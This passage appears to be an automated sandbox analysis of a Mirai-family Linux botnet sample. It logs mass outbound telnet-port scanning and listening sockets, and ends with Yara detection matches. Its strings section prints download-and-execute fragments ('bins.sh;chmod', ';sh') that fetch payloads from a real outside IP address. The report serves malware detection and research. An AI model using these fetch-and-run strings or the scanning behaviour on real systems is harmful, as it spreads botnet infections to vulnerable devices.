Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.24.94.1:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 204.97.158.56:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 48.179.34.204:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 48.85.155.11:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 125.9.119.112:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 214.155.195.213:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 120.245.185.11:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 105.36.218.29:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 85.3.148.129:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.99.26.132:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 51.26.53.145:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.228.210.205:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 169.171.167.30:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 195.57.37.63:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 163.33.118.19:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 65.104.229.105:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 119.249.178.238:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.202.99.119:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 98.6.207.101:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 202.173.185.148:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 130.129.39.142:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 126.7.87.207:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 176.137.120.110:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 200.226.161.173:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 191.188.64.1:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 91.251.220.185:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 118.182.136.64:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 52.113.130.146:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 89.154.5.218:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 66.135.143.31:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 221.215.69.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 51.76.210.97:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 91.177.163.31:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 1.149.224.146:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 218.25.29.139:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 136.173.8.86:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 153.37.160.214:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 201.85.46.146:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 221.185.32.198:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 97.23.59.53:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 184.176.145.228:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 217.32.188.83:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 24.190.110.102:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 111.68.189.227:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 218.159.156.100:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 153.252.227.19:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 159.145.13.112:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 34.154.33.5:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 149.230.11.131:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 220.29.190.210:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 93.7.65.54:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 43.47.4.34:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 4.114.233.116:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 35.20.39.149:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 22.155.20.160:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 95.159.241.222:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 68.132.18.215:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 195.92.230.148:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 103.14.189.198:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 13.219.198.234:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 213.59.85.184:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 6.156.160.233:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 184.105.245.59:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 62.147.108.108:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 163.46.95.120:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 144.224.134.141:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 44.221.176.98:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 144.236.230.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 208.204.198.92:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 130.81.188.27:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 72.134.228.140:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 110.40.139.181:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 63.33.33.186:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 109.225.190.151:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.26.170.246:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.255.137.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 136.69.83.28:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 137.91.218.69:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 71.149.183.47:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 221.98.96.119:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.151.214.172:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 49.128.85.136:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 217.118.38.221:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 219.95.216.34:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 86.202.217.62:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 108.19.39.9:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 195.115.43.129:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 15.245.147.220:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 146.211.163.45:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 97.184.49.194:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 153.243.238.151:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 216.138.246.34:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 179.238.119.27:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 31.142.211.57:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 95.2.150.144:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 212.75.168.237:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 142.239.8.100:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 184.62.190.173:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 180.92.213.66:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 130.0.142.106:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 2.8.51.29:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 194.8.251.247:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 215.30.57.251:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 11.246.233.117:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 33.120.105.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 69.204.84.56:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 2.216.71.173:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 143.172.162.114:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 197.218.51.244:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 54.202.129.75:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 47.232.55.202:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 48.8.69.166:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 194.239.65.177:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 87.96.82.81:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.186.212.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 183.195.159.85:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 210.55.101.70:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 28.246.198.208:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 186.24.104.107:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 200.192.107.126:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 145.206.28.233:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 53.219.194.202:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 97.149.218.101:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 15.205.116.206:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 58.13.125.234:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 53.92.62.168:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 204.254.15.63:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 157.237.158.163:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 186.142.44.175:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.174.11.225:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 43.79.181.20:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 183.10.177.182:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 209.185.184.146:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 111.181.106.54:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 6.243.89.180:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 218.203.156.86:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 62.15.246.161:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 113.137.66.75:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 73.15.72.162:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 119.209.114.10:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 161.38.116.20:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 74.36.167.105:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 145.156.55.65:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 97.68.32.75:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 73.215.155.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 146.150.211.182:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 193.91.250.37:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 111.224.89.118:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 147.78.199.244:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 164.97.12.204:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 215.139.58.222:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 38.216.211.134:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 14.203.154.155:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 162.42.93.164:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 194.238.91.252:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.24.100.124:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 88.76.3.129:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 104.241.52.150:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 51.24.248.235:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 8.55.77.225:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 2.244.225.52:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 204.99.198.43:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 222.214.206.114:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 149.253.249.160:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 211.217.96.198:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 87.7.129.203:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 54.231.116.195:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.83.130.29:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 67.133.149.78:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 217.246.92.79:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 146.214.82.27:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 222.116.246.141:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 178.202.71.66:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 33.16.111.96:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 137.72.92.24:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 191.18.193.11:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 169.201.72.251:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 123.2.241.121:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 33.210.137.49:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 19.92.24.162:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 193.31.81.140:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 51.78.168.255:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 121.144.9.32:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 194.71.248.224:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 69.132.156.170:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 200.252.235.157:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 57.185.154.118:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 54.238.136.69:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 71.181.250.38:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 35.177.160.132:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 95.21.179.110:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 87.233.42.210:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 67.86.102.35:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 38.253.111.216:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 91.24.87.235:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 181.144.73.6:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 160.207.76.13:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 198.41.202.117:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 1.207.81.25:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 18.249.120.175:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 59.160.192.183:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 138.87.102.134:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 68.223.99.47:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 36.253.137.135:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 100.29.100.139:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 90.121.152.35:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 177.161.91.168:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 142.208.96.111:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 72.45.138.189:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 27.178.88.43:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 94.229.39.109:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 35.88.202.245:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 15.115.56.239:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 137.42.156.94:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 216.235.183.205:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.18.43.102:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 30.168.196.202:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 69.2.45.42:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 52.155.168.112:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 155.89.83.5:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 63.127.66.79:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 163.167.99.2:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 160.44.184.30:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 124.226.194.188:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 77.16.110.20:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 27.220.108.243:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 36.240.239.99:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 6.11.96.40:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 208.189.233.196:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 72.91.145.154:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 203.241.81.29:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 4.115.113.213:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 188.204.229.231:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 34.40.164.167:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 220.161.113.151:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 170.16.94.32:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 100.58.59.245:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 63.22.64.75:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 19.185.237.169:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.178.107.23:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 168.156.225.21:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 108.72.29.70:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 185.76.145.141:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 167.159.68.161:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 67.133.197.181:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 55.123.103.31:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 34.125.96.120:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 200.162.163.187:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 151.31.234.193:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 12.246.123.86:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 198.135.79.90:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 146.210.95.158:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 170.46.225.131:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 87.95.53.213:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 150.127.100.156:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 174.163.164.130:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 185.225.177.92:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 56.107.217.239:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 193.183.2.252:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 97.224.238.65:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 131.200.117.9:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 183.63.111.183:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 20.228.98.12:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 166.218.161.78:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 65.139.153.122:2323
Source: global traffic	TCP traffic: 192.168.2.20:60872 -> 38.73.253.173:52869
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 60.76.190.119:2323

Source: /tmp/robinbot_sample2 (PID: 9457)	Socket: 0.0.0.0::23
Source: /tmp/robinbot_sample2 (PID: 9457)	Socket: 0.0.0.0::0
Source: /tmp/robinbot_sample2 (PID: 9457)	Socket: 0.0.0.0::80

Source: unknown	TCP traffic detected without corresponding DNS query: 201.164.126.60
Source: unknown	TCP traffic detected without corresponding DNS query: 40.143.70.145
Source: unknown	TCP traffic detected without corresponding DNS query: 192.223.20.145
Source: unknown	TCP traffic detected without corresponding DNS query: 95.122.155.229
Source: unknown	TCP traffic detected without corresponding DNS query: 72.255.166.151
Source: unknown	TCP traffic detected without corresponding DNS query: 148.192.136.247
Source: unknown	TCP traffic detected without corresponding DNS query: 48.1.144.59
Source: unknown	TCP traffic detected without corresponding DNS query: 178.229.192.101
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.255.34
Source: unknown	TCP traffic detected without corresponding DNS query: 22.116.236.214
Source: unknown	TCP traffic detected without corresponding DNS query: 117.137.45.223
Source: unknown	TCP traffic detected without corresponding DNS query: 176.94.182.162
Source: unknown	TCP traffic detected without corresponding DNS query: 172.138.140.219
Source: unknown	TCP traffic detected without corresponding DNS query: 21.111.165.4
Source: unknown	TCP traffic detected without corresponding DNS query: 67.213.190.126
Source: unknown	TCP traffic detected without corresponding DNS query: 142.161.183.24
Source: unknown	TCP traffic detected without corresponding DNS query: 51.241.3.142
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.175.49
Source: unknown	TCP traffic detected without corresponding DNS query: 212.146.132.224
Source: unknown	TCP traffic detected without corresponding DNS query: 130.98.181.182
Source: unknown	TCP traffic detected without corresponding DNS query: 215.64.153.158
Source: unknown	TCP traffic detected without corresponding DNS query: 91.38.183.101
Source: unknown	TCP traffic detected without corresponding DNS query: 20.177.52.165
Source: unknown	TCP traffic detected without corresponding DNS query: 94.2.92.235
Source: unknown	TCP traffic detected without corresponding DNS query: 5.60.240.166
Source: unknown	TCP traffic detected without corresponding DNS query: 71.198.217.169
Source: unknown	TCP traffic detected without corresponding DNS query: 88.202.48.190
Source: unknown	TCP traffic detected without corresponding DNS query: 200.142.244.13
Source: unknown	TCP traffic detected without corresponding DNS query: 143.139.229.146
Source: unknown	TCP traffic detected without corresponding DNS query: 29.125.169.149
Source: unknown	TCP traffic detected without corresponding DNS query: 219.192.100.9
Source: unknown	TCP traffic detected without corresponding DNS query: 221.199.235.83
Source: unknown	TCP traffic detected without corresponding DNS query: 47.117.49.146
Source: unknown	TCP traffic detected without corresponding DNS query: 19.125.253.88
Source: unknown	TCP traffic detected without corresponding DNS query: 27.33.154.185
Source: unknown	TCP traffic detected without corresponding DNS query: 67.189.248.199
Source: unknown	TCP traffic detected without corresponding DNS query: 206.190.203.175
Source: unknown	TCP traffic detected without corresponding DNS query: 85.156.230.252
Source: unknown	TCP traffic detected without corresponding DNS query: 221.40.44.83
Source: unknown	TCP traffic detected without corresponding DNS query: 16.106.81.238
Source: unknown	TCP traffic detected without corresponding DNS query: 138.198.61.41
Source: unknown	TCP traffic detected without corresponding DNS query: 118.147.239.21
Source: unknown	TCP traffic detected without corresponding DNS query: 120.59.254.200
Source: unknown	TCP traffic detected without corresponding DNS query: 42.86.252.250
Source: unknown	TCP traffic detected without corresponding DNS query: 153.140.9.87
Source: unknown	TCP traffic detected without corresponding DNS query: 155.71.68.162
Source: unknown	TCP traffic detected without corresponding DNS query: 119.109.18.136
Source: unknown	TCP traffic detected without corresponding DNS query: 132.217.89.51
Source: unknown	TCP traffic detected without corresponding DNS query: 153.255.62.29
Source: unknown	TCP traffic detected without corresponding DNS query: 79.143.105.94

Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bin.sh;chmod
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bins.sh
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bins.sh;
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bins.sh;$
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bins.sh;chmod
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bins.sh;sh
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/bins.sh;sh$
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/mips
Source: robinbot_sample2	String found in binary or memory: http://176.97.210.195/mipsel
Source: robinbot_sample2	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: robinbot_sample2	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: robinbot_sample2	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: robinbot_sample2, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: robinbot_sample2, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown

Source: robinbot_sample2, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: robinbot_sample2, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
